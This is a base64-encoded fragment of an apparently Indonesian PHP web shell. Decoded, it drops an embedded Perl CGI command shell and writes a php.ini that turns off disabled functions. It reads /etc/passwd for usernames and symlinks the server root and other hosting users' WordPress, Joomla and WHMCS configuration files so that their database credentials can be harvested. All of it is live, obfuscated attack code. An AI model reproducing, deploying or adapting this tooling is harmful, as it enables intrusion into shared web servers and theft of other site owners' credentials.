jVjR1U5SW5SbGVIUWlJRzl1YTJWNWRYQTlJbVJ2WTNWdFpXNTBMbWRsZEVWc1pXMWxiblJDZVVsa0tDZHNiMmRmSkdrbktTNTJZV3gxWlQwbmJHVnpjeUFuSUNzZ2RHaHBjeTUyWVd4MVpUc2lJSFpoYkhWbFBTSWtiRzluSWlCemFYcGxQU2MxTUNjdlBqd3ZkR1ErQ2drSkNUeDBaRDQ4YVc1d2RYUWdZMnhoYzNNOUluTjFZbTFwZENJZ2RIbHdaVDBpYzNWaWJXbDBJaUIyWVd4MVpUMGlWSEo1SWlBdlBqd3ZkR1ErQ2drSkNUeHBibkIxZENCMGVYQmxQU0pvYVdSa1pXNGlJR2xrUFNKc2IyZGZKR2tpSUc1aGJXVTlJbU1pSUhaaGJIVmxQU0pzWlhOeklDUnNiMmNpTHo0S0NRa0pQR2x1Y0hWMElIUjVjR1U5SW1ocFpHUmxiaUlnYm1GdFpUMGlZU0lnZG1Gc2RXVTlJbU52YlcxaGJtUWlJQzgrQ2drSkNUeHBibkIxZENCMGVYQmxQU0pvYVdSa1pXNGlJRzVoYldVOUltUWlJSFpoYkhWbFBTSWtRM1Z5Y21WdWRFUnBjaUlnTHo0S0NRa0pQQzltYjNKdFBnb0pDUWs4ZEdRK0pIQmxjbTF6UEM5MFpENEtDZ2tKUEM5MGNqNEtSVTVFQ2drSkpHa3JLenNLQ1gwS0NTUnlaWE4xYkhRZ0xqMGlQQzkwWVdKc1pUNGlPd29KY21WMGRYSnVJQ1J5WlhOMWJIUTdDbjBLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUUxaGFXNGdVSEp2WjNKaGJTQXRJRVY0WldOMWRHbHZiaUJUZEdGeWRITWdTR1Z5WlFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2laU1pXRmtVR0Z5YzJVN0NpWkhaWFJEYjI5cmFXVnpPd29LSkZOamNtbHdkRXh2WTJGMGFXOXVJRDBnSkVWT1Zuc25VME5TU1ZCVVgwNUJUVVVuZlRzS0pGTmxjblpsY2s1aGJXVWdQU0FrUlU1V2V5ZFRSVkpXUlZKZlRrRk5SU2Q5T3dva1RHOW5hVzVRWVhOemQyOXlaQ0E5SUNScGJuc25jQ2Q5T3dva1VuVnVRMjl0YldGdVpDQTlJQ1JwYm5zbll5ZDlPd29rVkhKaGJuTm1aWEpHYVd4bElEMGdKR2x1ZXlkbUozMDdDaVJQY0hScGIyNXpJRDBnSkdsdWV5ZHZKMzA3Q2lSQlkzUnBiMjRnUFNBa2FXNTdKMkVuZlRzS0NpUkJZM1JwYjI0Z1BTQWlZMjl0YldGdVpDSWdhV1lvSkVGamRHbHZiaUJsY1NBaUlpazdJQ01nYm04Z1lXTjBhVzl1SUhOd1pXTnBabWxsWkN3Z2RYTmxJR1JsWm1GMWJIUUtDaU1nWjJWMElIUm9aU0JrYVhKbFkzUnZjbmtnYVc0Z2QyaHBZMmdnZEdobElHTnZiVzFoYm1SeklIZHBiR3dnWW1VZ1pYaGxZM1YwWldRS0pFTjFjbkpsYm5SRWFYSWdQU0FtZEhKcGJTZ2thVzU3SjJRbmZTazdDaU1nYldGaklHUnBibWdnZUhWaGRDQjBhRzl1WnlCMGFXNGdibVYxSUd0dklHTnZJR3hsYm1nZ2JtRnZJUW9rVW5WdVEyOXRiV0Z1WkQwZ0pGZHBiazVVUHlKa2FYSWlPaUprYVhJZ0xXeHBZU0lnYVdZb0pGSjFia052YlcxaGJtUWdaWEVnSWlJcE93cGphRzl3S0NSRGRYSnlaVzUwUkdseUlEMGdZQ1JEYldSUWQyUmdLU0JwWmlna1EzVnljbVZ1ZEVScGNpQmxjU0FpSWlrN0Nnb2tURzluWjJWa1NXNGdQU0FrUTI5dmEybGxjM3NuVTBGV1JVUlFWMFFuZlNCbGNTQWtVR0Z6YzNkdmNtUTdDZ3BwWmlna1FXTjBhVzl1SUdWeElDSnNiMmRwYmlJZ2ZId2dJU1JNYjJkblpXUkpiaWtnQ1FraklIVnpaWElnYm1WbFpITXZhR0Z6SUhSdklHeHZaMmx1Q25zS0NTWlFaWEptYjNKdFRHOW5hVzQ3Q24xbGJITnBaaWdrUVdOMGFXOXVJR1Z4SUNKbmRXa2lLU0FqSUVkVlNTQmthWEpsWTNSdmNua0tld29KSmxCeWFXNTBVR0ZuWlVobFlXUmxjanNLQ1dsbUtDRWtWMmx1VGxRcENnbDdDZ2tKSkdOb2JXOWtQV2x1ZENna2FXNTdKMk5vYlc5a0ozMHBPd29KQ1dsbUtDRW9KR05vYlc5a0lHVnhJREFwS1FvSkNYc0tDUWtKSkdOb2JXOWtQV2x1ZENna2FXNTdKMk5vYlc5a0ozMHBPd29KQ1Fra1ptbHNaVDBrUTNWeWNtVnVkRVJwY2k0a1VHRjBhRk5sY0M0a1ZISmhibk5tWlhKR2FXeGxPd29KQ1FsamFHOXdLQ1J5WlhOMWJIUTlJR0JqYUcxdlpDQWtZMmh0YjJRZ0lpUm1hV3hsSW1BcE93b0pDUWxwWmlnbWRISnBiU2drY21WemRXeDBLU0JsY1NBaUlpa0tDUWtKZXdvSkNRa0pjSEpwYm5RZ0lqeHlkVzQrSUVSdmJtVWhJRHd2Y25WdVBqeGljajRpT3dvSkNRbDlaV3h6WlFvSkNRbDdDZ2tKQ1Fsd2NtbHVkQ0FpUEhKMWJqNGdVMjl5Y25raElGbHZkU0JrYjI1MElHaGhkbVVnY0dWeWJXbHpjMmx2Ym5NaElEd3ZjblZ1UGp4aWNqNGlPd29KQ1FsOUNna0pmUW9KZlFvSkpISmxibUZ0WlQwa2FXNTdKM0psYm1GdFpTZDlPd29KYVdZb0lTUnlaVzVoYldVZ1pYRWdJaUlwQ2dsN0Nna0phV1lvY21WdVlXMWxLQ1JVY21GdWMyWmxja1pwYkdVc0pISmxibUZ0WlNrcENna0pld29KQ1Fsd2NtbHVkQ0FpUEhKMWJqNGdSRzl1WlNFZ1BDOXlkVzQrUEdKeVBpSTdDZ2tKZldWc2MyVUtDUWw3Q2drSkNYQnlhVzUwSUNJOGNuVnVQaUJUYjNKeWVTRWdXVzkxSUdSdmJuUWdhR0YyWlNCd1pYSnRhWE56YVc5dWN5RWdQQzl5ZFc0K1BHSnlQaUk3Q2drSmZRb0pmUW9KSkhKbGJXOTJaVDBrYVc1N0ozSmxiVzkyWlNkOU93b0phV1lvSkhKbGJXOTJaU0J1WlNBaUlpa0tDWHNLQ1Fra2NtMGdQU0FrUTNWeWNtVnVkRVJwY2k0a1VHRjBhRk5sY0M0a2NtVnRiM1psT3dvSkNXbG1LQzFrSUNSeWJTa0tDUWw3Q2drSkNTWlNiVVJwY2lna2NtMHBPd29KQ1gxbGJITmxDZ2tKZXdvSkNRbHBaaWgxYm14cGJtc29KSEp0S1NrS0NRa0pld29KQ1FrSmNISnBiblFnSWp4eWRXNCtJRVJ2Ym1VaElEd3ZjblZ1UGp4aWNqNGlPd29KQ1FsOVpXeHpaUW9KQ1FsN0Nna0pDUWx3Y21sdWRDQWlQSEoxYmo0Z1UyOXljbmtoSUZsdmRTQmtiMjUwSUdoaGRtVWdjR1Z5YldsemMybHZibk1oSUR3dmNuVnVQanhpY2o0aU93b0pDUWw5Q1FrSkNna0pmUW9KZlFvSmNISnBiblFnSmt4cGMzUkVhWEk3Q2dwOUNtVnNjMmxtS0NSQlkzUnBiMjRnWlhFZ0ltTnZiVzFoYm1RaUtRa0pDUWtnQ1NNZ2RYTmxjaUIzWVc1MGN5QjBieUJ5ZFc0Z1lTQmpiMjF0WVc1a0Nuc0tDU1pRY21sdWRGQmhaMlZJWldGa1pYSW9JbU1pS1RzS0NYQnlhVzUwSUNaRmVHVmpkWFJsUTI5dGJXRnVaRHNLZlFwbGJITnBaaWdrUVdOMGFXOXVJR1Z4SUNKellYWmxJaWtKQ1FrSklBa2pJSFZ6WlhJZ2QyRnVkSE1nZEc4Z2MyRjJaU0JoSUdacGJHVUtld29KSmxCeWFXNTBVR0ZuWlVobFlXUmxjanNLQ1dsbUtDWlRZWFpsUm1sc1pTZ2thVzU3SjJSaGRHRW5mU3drYVc1N0oyWnBiR1VuZlNrcENnbDdDZ2tKY0hKcGJuUWdJanh5ZFc0K0lFUnZibVVoSUR3dmNuVnVQanhpY2o0aU93b0pmV1ZzYzJVS0NYc0tDUWx3Y21sdWRDQWlQSEoxYmo0Z1UyOXljbmtoSUZsdmRTQmtiMjUwSUdoaGRtVWdjR1Z5YldsemMybHZibk1oSUR3dmNuVnVQanhpY2o0aU93b0pmUW9KY0hKcGJuUWdKa3hwYzNSRWFYSTdDbjBLWld4emFXWW9KRUZqZEdsdmJpQmxjU0FpZFhCc2IyRmtJaWtnQ1FrSkNRa2pJSFZ6WlhJZ2QyRnVkSE1nZEc4Z2RYQnNiMkZrSUdFZ1ptbHNaUXA3Q2drbVVISnBiblJRWVdkbFNHVmhaR1Z5T3dvS0NYQnlhVzUwSUNaVmNHeHZZV1JHYVd4bE93cDlDbVZzYzJsbUtDUkJZM1JwYjI0Z1pYRWdJbUpoWTJ0aWFXNWtJaWtnQ1FrSkNTTWdkWE5sY2lCM1lXNTBjeUIwYnlCaVlXTnJJR052Ym01bFkzUWdiM0lnWW1sdVpDQndiM0owQ25zS0NTWlFjbWx1ZEZCaFoyVklaV0ZrWlhJb0ltTnNhV1Z1ZEhCdmNuUWlLVHNLQ1hCeWFXNTBJQ1pDWVdOclFtbHVaRHNLZlFwbGJITnBaaWdrUVdOMGFXOXVJR1Z4SUNKaWNuVjBaV1p2Y21ObGNpSXBJQWtKQ1NNZ2RYTmxjaUIzWVc1MGN5QjBieUJpY25WMFpTQm1iM0pqWlFwN0Nna21VSEpwYm5SUVlXZGxTR1ZoWkdWeU93b0pjSEpwYm5RZ0prSnlkWFJsUm05eVkyVnlPd3A5Wld4emFXWW9KRUZqZEdsdmJpQmxjU0FpWkc5M2JteHZZV1FpS1NBSkNRa0pJeUIxYzJWeUlIZGhiblJ6SUhSdklHUnZkMjVzYjJGa0lHRWdabWxzWlFwN0NnbHdjbWx1ZENBbVJHOTNibXh2WVdSR2FXeGxPd3A5Wld4emFXWW9KRUZqZEdsdmJpQmxjU0FpWTJobFkydHNiMmNpS1NBSkNRa0pJeUIxYzJWeUlIZGhiblJ6SUhSdklIWnBaWGNnYkc5bklHWnBiR1VLZXdvSkpsQnlhVzUwVUdGblpVaGxZV1JsY2pzS0NYQnlhVzUwSUNaV2FXVjNURzluT3dvS2ZXVnNjMmxtS0NSQlkzUnBiMjRnWlhFZ0ltUnZiV0ZwYm5OMWMyVnlJaWtnQ1FrSkl5QjFjMlZ5SUhkaGJuUnpJSFJ2SUhacFpYY2diR2x6ZENCMWMyVnlMMlJ2YldGcGJncDdDZ2ttVUhKcGJuUlFZV2RsU0dWaFpHVnlPd29KY0hKcGJuUWdKbFpwWlhkRWIyMWhhVzVWYzJWeU93cDlaV3h6YVdZb0pFRmpkR2x2YmlCbGNTQWliRzluYjNWMElpa2dDUWtKQ1NNZ2RYTmxjaUIzWVc1MGN5QjBieUJzYjJkdmRYUUtld29KSmxCbGNtWnZjbTFNYjJkdmRYUTdDbjBLSmxCeWFXNTBVR0ZuWlVadmIzUmxjanM9JzsNCg0KJGZpbGUgPSBmb3BlbigiY2dpMjAxMi5pem8iICwidysiKTsNCiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNnaTIwMTIpKTsNCmZjbG9zZSgkZmlsZSk7DQogICAgY2htb2QoImNnaTIwMTIuaXpvIiwwNzU1KTsNCiAgIGVjaG8gIiA8aWZyYW1lIHNyYz1jZ2kyMDEyL2NnaTIwMTIuaXpvIHdpZHRoPTk2JSBoZWlnaHQ9NzYlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+DQogDQogPC9kaXY+IjsgfQ0KIA0KIGVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnY29uZmlna2lsbGVyJykpDQp7CQ0KPz4NCiA8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9Y29uZmlna2lsbGVyIiBtZXRob2Q9InBvc3QiPg0KIDw/cGhwDQoNCiAgICAgICAgZWNobyAkaGVhZCA7DQoNCiAgICAgICAgZWNobyAnDQoNCiANCg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiID4NCg0KIA0KICAgICAgICAgICAgDQoNCiANCg0KICAgICAgIDx0ZCB3aWR0aD0iMTAwJSIgYWxpZ249Y2VudGVyIHZhbGlnbj0idG9wIiByb3dzcGFuPSIxIj4NCg0KICAgICAgICAgICA8Zm9udCBjb2xvcj1yZWQgc2l6ZT01IGZhY2U9ImNvbWljIHNhbnMgbXMiPjxiPi0tPT1bWyBDb25maWd1cmF0aW9uPC9mb250Pjxmb250IGNvbG9yPXllbGxvdyBzaXplPTUgZmFjZT0iY29taWMgc2FucyBtcyI+PGI+ICBGaWxlIEtpbGxlciBCeTwvZm9udD48Zm9udCBjb2xvcj1SZWQgc2l6ZT01IGZhY2U9ImNvbWljIHNhbnMgbXMiPjxiPiBJbmRvbmVzaWFuIFNlY3VyaXR5IGRvd24gXV09PS0tPC9mb250PiA8ZGl2Pg0KDQogDQoNCiAgICAgICAgPHRkIGhlaWdodD0iMTAiIGFsaWduPSJsZWZ0Ij48L3RkPjwvdHI+PHRyPjx0ZA0KDQogICAgICAgIHdpZHRoPSIxMDAlIiBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCIgcm93c3Bhbj0iMSI+PGZvbnQNCg0KICAgICAgICBjb2xvcj0icmVkIiBmYWNlPSJjb21pYyBzYW5zIG1zInNpemU9IjEiPjxiPg0KDQogICAgICAgIDxmb250IGNvbG9yPXJlZD4NCg0KIA0KDQogICAgICAgICAgIDwvdGFibGU+DQogICAgICAgIA0KDQogDQoNCic7DQoNCiANCg0KPz4NCg0KPGJvZHkgYmdjb2xvcj1ibGFjaz48aDMgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyIj4NCg0KPGZvcm0gbWV0aG9kPXBvc3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9ImNvbWljIHNhbnMgbXMiPm5paCB0b21ib2wgYnVhdCBwaHAuaW5pIDopPC9mb250PjxwPg0KDQo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1pbmkgdmFsdWU9InVzZSB0byBHZW5lcmF0ZSBQSFAuaW5pIiAvPjwvZm9ybT4NCg0KPGZvcm0gbWV0aG9kPXBvc3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9ImNvbWljIHNhbnMgbXMiPm5pZSBidWF0IG55YXJpIHVzZXJuYW1lbnlhPC9mb250PjxwPg0KDQogICAgPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9InVzcmUiIHZhbHVlPSJ1c2UgdG8gRXh0cmFjdCB1c2VybmFtZXMiIC8+PC9mb3JtPg0KDQogDQoNCiAgICA8P3BocA0KDQogICAgaWYoaXNzZXQoJF9QT1NUWydpbmknXSkpDQoNCiAgICB7DQoNCiANCg0KICAgICAgICAkcj1mb3BlbigncGhwLmluaScsJ3cnKTsNCg0KICAgICAgICAkcnI9IiBkaXNiYWxlX2Z1bmN0aW9ucz1ub25lICI7DQoNCiAgICAgICAgZndyaXRlKCRyLCRycik7DQoNCiAgICAgICAgJGxpbms9IjxhIGhyZWY9cGhwLmluaT48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj48dT5idWthIGRpIG5ld3RhYiBQSFAuSU5JPC91PjwvZm9udD48L2E+IjsNCg0KICAgICAgICBlY2hvICRsaW5rOw0KDQogDQoNCiAgICAgICAgfQ0KDQogDQoNCiANCg0KIA0KDQogICAgPz4NCg0KIA0KDQogDQoNCiAgICA8P3BocA0KDQogICAgaWYoaXNzZXQoJF9QT1NUWyd1c3JlJ10pKXsNCg0KICAgICAgICA/Pjxmb3JtIG1ldGhvZD1wb3N0Pg0KDQogICAgPHRleHRhcmVhIHJvd3M9MTAgY29scz01MCBuYW1lPXVzZXI+PD9waHAgICR1c2Vycz1maWxlKCIvZXRjL3Bhc3N3ZCIpOw0KDQpmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikNCg0Kew0KDQokc3RyPWV4cGxvZGUoIjoiLCR1c2VyKTsNCg0KZWNobyAkc3RyWzBdLiJcbiI7DQoNCn0NCg0KIA0KDQo/PjwvdGV4dGFyZWE+PGJyPjxicj4NCg0KICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1IHZhbHVlPSJtYXJpIGtpdGEgbXVsYWkiIC8+PC9mb3JtPg0KDQogICAgPD9waHAgfSA/Pg0KDQogICAgPD9waHANCg0KICAgIGVycm9yX3JlcG9ydGluZygwKTsNCg0KICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZCBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj4iOw0KDQogICAgaWYoaXNzZXQoJF9QT1NUWydzdSddKSkNCg0KICAgIHsNCg0KICAgIG1rZGlyKCdJU0QnLDA3NzcpOw0KDQokcnIgID0gIiBPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7DQoNCiRnID0gZm9wZW4oJ0lTRC8uaHRhY2Nlc3MnLCd3Jyk7DQoNCmZ3cml0ZSgkZywkcnIpOw0KDQokSVNEID0gc3ltbGluaygiLyIsIklTRC9yb290Iik7DQoNCiAgICAgICAgICAgICRydD0iPGEgaHJlZj1JU0Qvcm9vdD48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT1cImNvbWljIHNhbnMgbXNcIj4gT3dOM2Q8L2ZvbnQ+PC9hPiI7DQoNCiAgICAgICAgZWNobyAiTWFzIGJybyBidWthIGxpbmsgaW5pIGJ1YXQgbGlhdCBmb2xkZXIgc3ltbGluayA8YnI+PHU+JHJ0PC91PiI7DQoNCiANCg0KICAgICAgICAkZGlyPW1rZGlyKCdJU0QnLDA3NzcpOw0KDQogICAgICAgICRyICA9ICIgT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOw0KDQogICAgICAgICRmID0gZm9wZW4oJ0lTRC8uaHRhY2Nlc3MnLCd3Jyk7DQoNCiANCg0KICAgICAgICBmd3JpdGUoJGYsJHIpOw0KDQogICAgICAgICRjb25zeW09IjxhIGhyZWY9SVNELz48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT1cImNvbWljIHNhbnMgbXNcIj5jb25maWd1cmF0aW9uIGZpbGVzPC9mb250PjwvYT4iOw0KDQogICAgICAgICAgIGVjaG8gIjxicj5DSEVDSyBIQVNJTE5ZQSBZRyBESUJBV0ggSU5JIE9NU1NTUyA6Kjxicj48dT48Zm9udCBjb2xvcj1yZWQgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+JGNvbnN5bTwvZm9udD48L3U+IjsNCg0KIA0KDQogICAgICAgICAgICAgICAkdXNyPWV4cGxvZGUoIlxuIiwkX1BPU1RbJ3VzZXInXSk7DQoNCiAgICAgICAgICAgJGNvbmZpZ3VyYXRpb249YXJyYXkoIndwLWNvbmZpZy5waHAiLCJ3b3JkcHJlc3Mvd3AtY29uZmlnLnBocCIsImNvbmZpZ3VyYXRpb24ucGhwIiwiYmxvZy93cC1jb25maWcucGhwIiwiam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIiwidmIvaW5jbHVkZXMvY29uZmlnLnBocCIsImluY2x1ZGVzL2NvbmZpZy5waHAiLCJjb25mX2dsb2JhbC5waHAiLCJpbmMvY29uZmlnLnBocCIsImNvbmZpZy5waHAiLCJTZXR0aW5ncy5waHAiLCJzaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCIsIndobS9jb25maWd1cmF0aW9uLnBocCIsIndobWNzL2NvbmZpZ3VyYXRpb24ucGhwIiwic3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCIsIndobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwIiwid2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwIiwid2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwIiwic3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCIsImNsaWVudHMvY29uZmlndXJhdGlvbi5waHAiLCJjbGllbnQvY29uZmlndXJhdGlvbi5waHAiLCJjbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCIsImNsaWVudGUvY29uZmlndXJhdGlvbi5waHAiLCJjbGllbnRzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwiYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCIsImFkbWluL2NvbmZpZy5waHAiKTsNCg0KICAgICAgICBmb3JlYWNoKCR1c3IgYXMgJHVzcyApDQoNCiAgICAgICAgew0KDQogICAgICAgICAgICAkdXM9dHJpbSgkdXNzKTsNCg0KIA0KDQogICAgICAgICAgICBmb3JlYWNoKCRjb25maWd1cmF0aW9uIGFzICRjKQ0KDQogICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAkcnM9Ii9ob21lLyIuJHVzLiIvcHVibGljX2h0bWwvIi4kYzsNCg0KICAgICAgICAgICAgICRyPSJJU0QvIi4kdXMuIiAuLiAiLiRjOw0KDQogICAgICAgICAgICAgc3ltbGluaygkcnMsJHIpOw0KDQogDQoNCiAgICAgICAgfQ0KDQogDQoNCiAgICAgICAgICAgIH0NCg0KIA0KDQogDQoNCiAgICAgICAgfQ0KDQogDQoNCiANCg0KIA0KDQogICAgPz4NCjw/cGhwDQp9DQogZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdjb25maWcnKSkNCnsJDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PWNvbmZpZyIgbWV0aG9kPSJwb3N0Ij4NCg0KPD9waHANCg0KZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj0jMDBmZjAwPistLT09WyBDb25maWcgU2hlbGwgUHJpdjggU0NSIF09PS0tKzwvZm9udD48L2I+PGJyPjxicj4iOw0KDQogIG1rZGlyKCdjb25maWcnLCAwNzU1KTsNCiAgICBjaGRpcignY29uZmlnJyk7DQogICAgICAgICRrb2tkb3N5YSA9ICIuaHRhY2Nlc3MiOw0KICAgICAgICAkZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7DQogICAgICAgICRkb3N5YSA9IGZvcGVuICgkZG9zeWFfYWRpICwgJ3cnKSBvciBkaWUgKCJFcnJvciBjdXl5ISIpOw0KICAgICAgICAkbWV0aW4gPSAiT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KCQkNCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLmNwYw0KDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLml6bw0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5pem8iOyAgICANCiAgICAgICAgZndyaXRlICggJGRvc3lhICwgJG1ldGluICkgOw0KICAgICAgICBmY2xvc2UgKCRkb3N5YSk7DQokY29uZmlnc2hlbGwgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNJQzFKTDNWemNpOXNiMk5oYkM5aVlXNWtiV2x1RFFwd2NtbHVkQ0FpUTI5dWRHVnVkQzEwZVhCbE9pQjBaWGgwTDJoMGJXeGNibHh1SWpzTkNuQnlhVzUwSnp3aFJFOURWRmxRUlNCb2RHMXNJRkJWUWt4SlF5QWlMUzh2VnpOREx5OUVWRVFnV0VoVVRVd2dNUzR3SUZSeVlXNXphWFJwYjI1aGJDOHZSVTRpSUNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk5VVVpOTRhSFJ0YkRFdlJGUkVMM2hvZEcxc01TMTBjbUZ1YzJsMGFXOXVZV3d1WkhSa0lqNE5DanhvZEcxc0lIaHRiRzV6UFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMM2hvZEcxc0lqNE5DZzBLUEdobFlXUStEUW84YldWMFlTQm9kSFJ3TFdWeGRXbDJQU0pEYjI1MFpXNTBMVXhoYm1kMVlXZGxJaUJqYjI1MFpXNTBQU0psYmkxMWN5SWdMejROQ2p4dFpYUmhJR2gwZEhBdFpYRjFhWFk5SWtOdmJuUmxiblF0Vkhsd1pTSWdZMjl1ZEdWdWREMGlkR1Y0ZEM5b2RHMXNPeUJqYUdGeWMyVjBQWFYwWmkwNElpQXZQZzBLUEhScGRHeGxQbEJ5YVhZNElGTkRVand2ZEdsMGJHVStEUW84YzNSNWJHVWdkSGx3WlQwaWRHVjRkQzlqYzNNaVBnMEtMbTVsZDFOMGVXeGxNU0I3RFFvZ1ptOXVkQzFtWVcxcGJIazZJSFJoYUc5dFlTd2dkbVZ5WkdGdVlTd2dRWEpwWVd3N0RRb2dabTl1ZEMxemFYcGxPaUJ0WldScGRXMDdEUW9nWTI5c2IzSTZJQ05HUmtaR1JrWTdEUW9nWW1GamEyZHliM1Z1WkMxamIyeHZjam9nSXpZMk5qWTJOanNOQ2lCMFpYaDBMV0ZzYVdkdU9pQmpaVzUwWlhJN0RRcDlEUW84TDNOMGVXeGxQZzBLUEM5b1pXRmtQZzBLSnpzTkNuTjFZaUJzYVd4N0RRb2dJQ0FnS0NSMWMyVnlLU0E5SUVCZk93MEtKRzF6Y2lBOUlIRjRlM0IzWkgwN0RRb2thMjlzWVQwa2JYTnlMaUl2SWk0a2RYTmxjanNOQ2lScmIyeGhQWDV6TDF4dUx5OW5PdzBLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJKbGRHRXZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpY3RhbTl2Yld4aExuUjRkQ2NwSURzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV3B2YjIxc1lTNTBlSFFuS1NBN0lBMEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlvYjIxbEwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxXcHZiMjFzWVNBdElHaHZiV1V1ZEhoMEp5a2dPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MWGR2Y21Sd2NtVnpjeTUwZUhRbktTQTdJQTBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5aWJHOW5MM2R3TFdOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGljdGQyOXlaSEJ5WlhOekxuUjRkQ2NwSURzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM2RsWWk5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MWGR2Y21Sd2NtVnpjeUF0SUhkbFlpNTBlSFFuS1NBN0lBMEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlUVTBrdWNHaHdKeXdrYTI5c1lTNG5MU0JESUUwZ1JpQXVkSGgwSnlrZ095QU5DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2Wm05eWRXMHZVMU5KTG5Cb2NDY3NKR3R2YkdFdUp5MGdReUJOSUVZZ0xTQm1iM0oxYlM1MGVIUW5LU0E3SUEwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXBibU12WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ1RYbENRaTUwZUhRbktTQTdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14